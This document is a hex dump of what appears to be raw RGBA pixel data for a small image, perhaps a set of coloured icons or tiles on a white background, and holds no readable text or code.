FEFF4ADFFEFF49DFFEFF4AE3FFFF5D9DACFF4B8567FF56D6F6FF50DAFFFF50D7
FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7
FFFF51D7FFFF50D7FFFF52DBFFFF5F99ACFF668A30FF8BBB33FF88B831FF8AB7
33FF89B933FF89B933FF89B933FF8AB830FF8AB527FF7AE0DBFF76EBFFFF77EA
FDFF77EAFDFF77EBFDFF7DFCFFFF5C70A3FFAD8D30FFEBBF31FFE1BE3BFFECBB
2EFFE8BB33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BB
33FFE8BC33FFE9BB2EFFFABE21FF9C925DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDEDEDEFFC3C3C3FFC4C4C4FFC4C4
C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4
C4FFC4C4C4FFC4C4C4FFC2C2C2FFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF2072C1FF0096FFFF0093FFFF0095
FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094FFFF0094
FFFF0095FFFF0093FFFF0098FFFF4876A1FF2061BDFF0178FFFF0175FFFF0074
FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174FFFF0174
FFFF0075FFFF0274FFFF017AFFFF486D9FFFA9523CFFBE3B1DFFBF3C1FFFBF3D
1EFFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D20FFBF3D
20FFBF3D1FFFC23A1DFFC4361AFF898967FF266E2AFF0C9010FF0E8E11FF0E8D
12FF0F8F12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8E12FF0F8F
12FF0E8D11FF0D8C0BFF0D8E06FF4C734EFF2056BEFF025DFFFF035DFEFF025E
FEFF045FFEFF035FFEFF035FFEFF035FFEFF035FFEFF035FFEFF035FFEFF045D
FEFF025EFEFF035DFEFF025EFFFF48679FFF214CBEFF064DFFFF084EFFFF094F
FFFF084FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF0A4FFFFF084F
FFFF094FFFFF064EFFFF064DFFFF49629FFFA64B35FFB43417FFB23214FFB436
1AFFB4381BFFB6381BFFB6381BFFB6381BFFB6381BFFB6381BFFB6381BFFB438
1BFFBB3219FFAA401CFF53942FFF719564FF267028FF0E8910FF108810FF0F89
11FF118913FF118913FF118913FF118913FF118913FF118913FF118913FF1189
13FF10870CFF0F9F4DFF0DBA8BFF4D7348FF213FBBFF0536FFFF0737FEFF0837
FEFF0939FEFF0938FEFF0938FEFF0938FEFF0938FEFF0938FEFF0938FEFF0739
FEFF0837FEFF0737FEFF0536FFFF485A9DFF2339BBFF082EFFFF0B2FFFFF0C30
FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31FFFF0D31
FFFF0C30FFFF0A2DFFFF082DFFFF49569DFFA34633FFAF2A0AFFD08170FFC057
3FFFB23112FFB43416FFB43416FFB43415FFB43415FFB43416FFB43315FFBE29
13FF8C581EFF459D2FFF4B932AFF749263FF256E25FF0C870EFF0F8710FF1088
11FF118710FF118910FF11870EFF118406FF118407FF11870EFF118910FF1187
10FF10860EFF0E9029FF0CA95EFF4A7148FF202AC4FF0015FFFF0218FFFF0319
FFFF041AFFFF041AFFFF041AFFFF0115FFFF0005FEFF0005FEFF0005FEFF0005
FEFF0004FEFF0002FEFF0000FFFF48489CFF2329B9FF0913FFFF0C15FFFF0E17
FFFF0D17FFFF0F17FFFF0F18FFFF0C12FFFF0C0FFFFF0F18FFFF0F17FFFF0D17
FFFF0E16FFFF0C15FFFF0912FFFF494C9DFFA1432CFFB12A0CFFAF2607FFAF27
08FFB12E10FFB12F10FFB52A08FFBB2100FFBB2201FFB62808FFB8270FFF6775
23FF44992BFF4B9127FF479024FF709162FF256E25FF09860AFF0C850EFF0F87
0EFF0E8610FF10850BFF0F860FFF0FBC9CFF0FBA96FF0F9028FF10850DFF0E86
10FF0F870FFF0D840AFF0A8604FF497349FF642339FF74082FFF750B2FFF740D
31FF750E32FF750E32FF730A2EFF8E3757FFF8FFFFFFF1F0FCFFF1F0FCFFF1F0
FCFFF2F0FCFFF0F0FCFFF8F6FFFF97979BFF2423B9FF0A08FFFF0D0BFFFF0D0D
FFFF0F0DFFFF100EFFFF0D08FFFF2858FFFF367CFFFF0C05FFFF100EFFFF0F0D
FFFF0E0CFFFF0C0AFFFF0907FFFF4A499DFFA95946FFAF2608FFAF2607FFC566
53FFAD2505FFB22605FF955651FF3CD4FFFF3FC4DCFF8A6054FF518920FF4795
28FF4A8F26FF488E24FF468D22FF719161FF256D23FF098609FF0D850DFF0D87
0DFF0E850CFF108509FF10EAFFFF10B281FF107D00FF10860DFF108810FF0F86
0EFF0E870EFF0C860CFF098708FF497047FF692333FF830C27FF7B0B22FF7C0E
25FF7D0D25FF801027FF7B0A22FF963B4CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9CFF2525B9FF0C0CFFFF0B08FFFF0C07
FFFF0D08FFFF0D0AFFFF0E0DFFFF1725FFFF1522FFFF0F0FFFFF1012FFFF0E0E
FFFF0E0EFFFF0C0CFFFF0909FFFF4A4A9DFFB47669FFB53517FFAF2B0CFFAD21
03FFC86A56FFC63E1FFF3BCAF0FF44BAC1FF499A4BFF3CD7FFFF498C15FF4C90
25FF4B9027FF498F25FF468D22FF709160FF247228FF0C8300FF0D850CFF0E86
0EFF108406FF10AE75FF10DEF9FF107900FF10880FFF108810FF108508FF0F83
05FF0E870EFF0C860CFF098402FF49877CFF692435FF830C2AFF8F2C45FF7600
1BFF87243BFF790D25FF790A24FF943A4EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF0C09FFFF274FFFFF284F
FFFF2653FFFF2651FFFF0D0AFFFF0E0DFFFF0A02FFFF54D9FFFF131BFFFF0E0C
FFFF0E0EFFFF0C0CFFFF0909FFFF4A4A9DFFA14028FFB32F0CFFB22D09FFB22F
0DFFB73F24FFBE2204FF40BFD1FF46AD93FF4B9437FF46B9C0FF4B922EFF4A97
43FF4B8E20FF498D1EFF468D21FF70915FFF2592B8FF0ED7D1FF118703FF118A
0FFF0F8305FF0FAA6FFF0FE2FFFF107900FF10870FFF108508FF10A967FF0FBE
A3FF0E8203FF0C860CFF098708FF497047FF6A2436FF860B2EFF8D233EFFF3EF
EFFFC89DA9FF7B0524FF7C0C28FF93394EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF0E0CFFFF0800FFFF78FF
FFFF7BFFFFFF0E07FFFF100DFFFF0E0EFFFF0E0EFFFF0700FFFF0E0BFFFF0E0E
FFFF0D0DFFFF0B0BFFFF0A0AFFFF49499DFFA3442CFFB32D07FFD6907DFFC153
37FFBC2F0EFFAF390EFF539E70FF40D1FFFF40CDFFFF479C54FF499232FF4992
34FF479C56FF45A169FF478913FF71915EFF2582A2FF0FF4FFFF12BC92FF148A
08FF159013FF148A09FF11E6FFFF0EBB9AFF0F8102FF0F860EFF0F8B1AFF0E96
39FF0D8409FF0B840BFF098709FF497349FF6A2436FF85092EFFC597A2FFFFFF
FFFFE5D3D6FF94314BFF860E30FF9F415BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2524B9FF1316FFFF59CAFFFF6DFE
FFFF6EFDFFFF5DCFFFFF1A1DFFFF1715FFFF130EFFFF51B3FFFF181BFFFF1513
FFFF1414FFFF1212FFFF1010FFFF4A4A9DFFA4452EFFB83610FFB7310AFFC12F
0FFF975C22FF51A43AFF599C30FF5B9725FF5A9625FF57972DFF569931FF5699
30FF579219FF52B8A7FF4FD1FFFF719773FF26744AFF10A94EFF13D8DBFF168C
06FF179117FF179214FF178E0DFF17BB88FF16BF95FF159729FF158D11FF158D
11FF149014FF128E0DFF0F9307FF497349FF6B2436FF8D1036FF810026FFBC83
93FF810125FF8A1436FF891134FF9F415BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF2424B9FF100FFFFF0A00FFFF315D
FFFF325EFFFF0E01FFFF1615FFFF120FFFFF1A1DFFFF2841FFFF1B1FFFFF1514
FFFF1515FFFF1313FFFF0F0FFFFF49499CFFA4452CFFBB370FFFC23210FF787D
2CFF53A63BFF5B9D38FF5C9C38FF5D9E37FF5D9E38FF5C9D38FF5C9D38FF5C9B
33FF57BFBBFF54C2C8FF56B18BFF71915AFF257328FF10D2C3FF13C19AFF158F
09FF169416FF179317FF179315FF17900DFF17900DFF179315FF179417FF1694
16FF159210FF13A345FF0FB872FF497247FF6B2235FF8F0B35FF8C0E36FF8909
31FF8C1137FF8E1137FF8B0B32FFA03C5BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9BFF2222B8FF0B0BFFFF0E0DFFFF1110
FFFF1111FFFF1110FFFF0D08FFFF3D7BFFFF3F85FFFF0B04FFFF100FFFFF1111
FFFF1010FFFF0E0EFFFF0A0AFFFF48489BFFA8402BFFB3400FFF5F9933FF57A2
38FF5B9C36FF5B9E36FF5B9E35FF5B9E37FF5B9E37FF5B9E35FF5B9E35FF5B9E
38FF5C9722FF55BFBBFF59A34DFF71925EFF23A2A8FF0BD8D0FF0E8F00FF1094
0EFF119411FF119611FF119511FF119511FF119511FF119511FF119611FF1194
11FF10930CFF0EA133FF0ABD78FF477146FF702E40FF9B324FFF98304EFF9831
4FFF98314FFF98324FFF962D4BFFAB586EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAAAAAAFF2F2FBFFF3232FFFF3030FFFF3130
FFFF3232FFFF3232FFFF3232FFFF2F2AFFFF2F2CFFFF3232FFFF3232FFFF3232
FFFF3131FFFF3030FFFF3030FFFF5555ACFF8E613AFF6AB954FF6FAF50FF71AE
51FF71AE51FF71AE51FF71AF51FF71AF51FF71AF51FF71AF51FF71AF51FF71AE
51FF71AF4FFF6FB876FF71AD49FF759465FF2F7936FF339E21FF31A230FF33A2
33FF33A233FF33A233FF33A233FF33A233FF33A233FF33A233FF33A233FF33A2
33FF33A233FF319F2EFF32A12AFF558155FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB5661CFFFA7B00FFF67A00FFF57B
00FFF67A00FFF87800FFF77800FFF87700FFF87900FFF77900FFF67A00FFF67A
00FFF57B00FFF67A00FFFD7C00FF9D6F43FF60282AFF731010FF701011FF7110
12FF711112FF711112FF711112FF711112FF711112FF711112FF711112FF7111
12FF711011FF700F10FF730F10FF6A4E4EFF1CA8C3FF00EEFFFF00E8FFFF00E8
FFFF00E8FFFF00F3FFFF176FFFFF1B5AFFFF1D52FFFF03D5FFFF00EBFFFF00E8
FFFF00E8FFFF00E8FFFF00F0FFFF4393A5FF79561DFF9D5F00FF9B5E01FF9F57
00FF66B6A4FF47EAFFFF4AE5FBFF4AE5FBFF4AE5FBFF48EDFDFF608EE0FF7348
CEFF704FCFFF714ECEFF734FD6FF6B6087FFA35C1DFFCD6201FFCB6202FFCB62
03FFCC6201FFBE7C26FFC2771DFFB88B35FFC1731AFFC8690BFFCC6204FFCB62
03FFCB6303FFCB6202FFCF6201FF946941FF602828FF6D0F10FF6D1110FF6E12
11FF6E1213FF6E1213FF6E1213FF6E1213FF6D1011FF6C0B0BFF6C0607FF6A02
04FF6B0303FF6B0808FF6D090AFF6D4D4DFF1EA6C1FF04DDFFFF04D9FFFF06D9
FFFF05D9FFFF03E5FFFF2358E9FF2843E6FF2A3AE5FF0AC5FBFF04DCFFFF05D9
FFFF06D9FFFF05D9FFFF02DFFFFF4294A6FF724D20FF894C06FF884C08FF8C44
00FF50A5A1FF32DCFFFF35D7F6FF35D7F6FF35D7F6FF32E0F9FF4C79D7FF5E35
CAFF5D3CCCFF5C3BCCFF5C39D2FF67598CFF8B4D1EFFB14B00FFAF4A00FFB14D
00FFB44F03FF9A6F30FFB24800FFB24800FF9E6929FFB0550AFFB34C00FFAF4D
00FFAF4B00FFAF4A00FFB24A00FF866145FF5F2525FF6C0D0EFF6D1010FF6E0F
11FF6E1110FF6E1110FF6E1110FF6D0F10FF721513FF815054FF829594FF97C6
C6FF8EBBBDFF7C6565FF7D4040FF6A4848FF20A2C3FF04D9FFFF07D2FBFF07D3
FBFF09D3FBFF05DFFBFF2C47E0FF3330DEFF3626DCFF0FBCFBFF07D6FBFF07D3
FBFF08D3FBFF05D2FBFF03DCFFFF4692A4FF684322FF7B3D08FF7A3E0BFF8336
00FF429EA4FF1ED9FFFF22D3FAFF23D3FAFF23D3FAFF20DDFCFF3C70DAFF5026
CEFF4E2ED0FF4D2BD0FF4D2AD6FF61558EFFC6CABEFFFFFFFFFFFFFFFFFFFFFF
FFFFB5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCEFFFFFFE6FFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A8A0FF5F2525FF6B0B0AFF6C0E0EFF6D0F
0EFF6C1010FF6C0F0FFF6C0F0FFF6C0C09FF6B2A52FF76D3E6FFA8B7BDFF9188
5EFFC3A592FF75C1D4FF7AA7DAFF6A4747FF3A7939FF2F9A2DFF319A2FFF3299
30FF339B30FF31A425FF3A31C1FF3B20DAFF3C19E3FF338A49FF339D2EFF339B
30FF329930FF31982FFF2F9C2DFF557A56FF623B23FF723009FF71330CFF782A
00FF3498A7FF10D7FFFF13D1FDFF13D1FDFF13D1FDFF11DBFFFF3068DDFF451B
D1FF4121D3FF411FD3FF401CD8FF5C508EFF252099FF0D00CDFF0E00CBFF1100
CBFF1C00CBFF1100CBFF1000CBFF1000CBFF1100CBFF1900CBFF1500CBFF1100
CBFF0F00CBFF0E00C9FF0C00D0FF4A478CFF5F2424FF6C0909FF6B0D0DFF6D0D
0DFF6C0E0EFF6E0F0FFF6E1010FF6E1010FF6D0804FF6B254DFF897A5CFF8B98
78FF787B4BFF83648EFF700D07FF694848FF3A7B3AFF2F9C2EFF309B2EFF319C
31FF329C30FF33A625FF3C2CC0FF3F1BD7FF4013E1FF358948FF349E2FFF329C
31FF319C2FFF319B2FFF2E9D2CFF567A55FF603925FF6D2D0AFF6D2E0DFF7425
00FF2F96A8FF0BD6FFFF0FD0FFFF0FD0FFFF0FD0FFFF0CDAFFFF2965DFFF4014
D3FF3D1BD5FF3B19D4FF3A16DAFF5A4E8FFFC9CFC6FFFFFFFFFFFFFFFFFFFFFF
FFFFB6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD0FFFFFFEFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A9A5FF5F2020FF6F0C0CFF6A0B0BFF6401
01FF6B0600FF6F0F09FF6D0F0FFF6E1010FF6C0D0DFF741815FFAEBAA8FFBCAA
ABFFA4AFA2FFB08B73FF670000FF6A4949FF327732FF259725FF239223FF2290
22FF239023FF229B16FF392ABAFF3F1BD7FF3F13E1FF28813DFF239320FF2390
23FF229122FF218F21FF1F951FFF517851FF613A24FF73300CFF6F300DFF7525
00FF3196A7FF0CD7FFFF10D1FFFF10D1FFFF10D1FFFF0DDAFFFF2A65DFFF4015
D3FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF733A20FF943300FF933600FF9333
00FF972E00FF655D44FF932900FF932900FF705131FF8B3A0AFF932F00FF8E30
00FF8D2D00FF8C2C00FF902B00FF755547FF867795FF660000FF7C1A13FFD2B0
A8FFAEC1FFFF745FB2FF6C0802FF6E1010FF6C0E0DFF7C2017FF1B47D3FF2B62
AEFF2662C7FF43369EFF6F0400FF6A4949FFC6BEC6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF583ADCFF3B19D3FF300CD1FFF1E5FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A1A5FF623A25FF76350EFF753711FF7A2C
02FF3197A7FF0BD6FFFF0FD0FFFF10D1FFFF10D1FFFF0DDAFFFF2A65DFFF4015
D3FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF7B4625FFA24B0FFFA04C12FFA14D
13FFA05118FF8E5F35FF885F3AFF71715CFF89522BFF964414FF99410EFF9740
0EFF983F0DFF963E0BFF9A3F09FF795B49FF8D7B91FFD6A998FFB3BEFFFF7261
BFFF8E3834FF740600FF6F1111FF6C0E0EFF6C0E0EFF70110DFF765283FF6A74
7AFF5E6E70FF6D254BFF6C0603FF694949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF593CDAFF3A18D3FF2E0AD0FFE2DDF8FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF633C25FF79380FFF783A12FF8133
06FF389CAAFF10D8FFFF11D1FFFF0ED0FFFF0FD0FFFF0CDAFFFF2965DFFF3F14
D2FF3C1AD4FF3A18D3FF3B17DAFF5A4E8FFF7B4826FFA44E10FFA24F13FFA350
16FFA35016FFA44F14FFA44F13FFA64E13FFA34F13FFA14E14FFA14D15FFA04D
15FFA14D14FFA14F12FFA7510FFF7A5C49FF4D4EA8FF666AEFFF6768E3FF6E70
E7FF6C76F6FF7164CBFF7B1008FF7A1717FF791616FF760C0FFF806A44FF386D
2FFF598356FF831615FF7B0E0EFF6B4949FFBEC4C6FFFFFFFFFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFF6346DEFF4C27D8FF3E18D6FFE7E6FBFFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA2A2A4FF653D26FF7C3B10FF7B3D13FF8436
08FF3A9EA9FF13DBFFFF17D6FFFF17D6FFFF16D5FFFF12DEFFFF346BE1FF4C1E
D6FF4A26D8FF4B25D8FF4C25DEFF5B4F8FFF7C4A25FFA65110FFA45213FFA553
15FFA55316FFA55317FFA55317FFA55317FFA55317FFA55317FFA55317FFA553
16FFA55315FFA45113FFA8520FFF7A5C49FF4E50A8FF7176F2FF6F6FE5FF6B6C
E6FF6F77F6FF7467CBFF7D1008FF7D1717FF7D1717FF7B1413FF913235FF8EC2
DBFFA9C3D3FF7B0C0BFF7C0F0FFF6B4949FF6D3620FF5C6B51FF705026FF8B36
00FF893A00FF8E3D00FF552BBAFF4E2ADDFF4A28E9FF813923FF8A3B00FF893A
00FF893900FF883800FF8D3900FF705447FF653D25FF803E10FF803F13FF8636
07FF3BA0A9FF13DCFFFF17D7FFFF17D7FFFF17D7FFFF14E0FFFF386FE2FF5324
D8FF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFF7C4823FFA7510BFFA5510EFFA652
10FFA65211FFA65211FFA65211FFA65211FFA65211FFA65211FFA65211FFA652
11FFA65210FFA5510EFFA9520AFF785B47FF907D8FFF753F7CFF939CFFFFDCCB
D3FFA84F3AFF760000FF7B1111FF7B1111FF7B1111FF7B1111FF7A0D0DFF7B03
02FF790201FF7A0D0DFF810A0AFF6A4747FF6A4D35FF03E6FFFF62836FFF9B47
07FF964B11FF9D4E01FF582CC3FF4E27DDFF4A24E9FF8D462FFF994C0CFF964B
11FF964A10FF95490EFF994A0AFF745947FF643C23FF823E0BFF803E0EFF8836
02FF38A0A9FF0CDDFFFF11D7FFFF11D7FFFF11D7FFFF0DE0FFFF346EE3FF5120
D8FF4E26DAFF4D24DAFF4E23E1FF5A4D8EFF845030FFB36933FFAF6631FFB067
33FFB06733FFB06733FFB06733FFB06733FFB06733FFB06733FFB06733FFB067
33FFB06733FFAF6631FFB36932FF876855FF8E8198FF8A2017FF9A3F34FF7653
99FFADB7FFFFC4ABC0FF8A2927FF8F3333FF8F3333FF8F3333FF8F3333FF8D33
33FF8E3333FF8C3131FF903232FF775555FF7B482BFF957452FFA85925FFA360
33FFA36133FFA86425FF6C47CCFF6344E3FF6042EDFF9A5D4DFFA46230FFA361
33FFA36033FFA25F31FFA56132FF816555FF6B442FFF935A33FF8F5731FF9650
27FF53AFBAFF30E2FFFF33DDFFFF33DDFFFF33DDFFFF30E5FFFF4F86ECFF663E
DFFF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
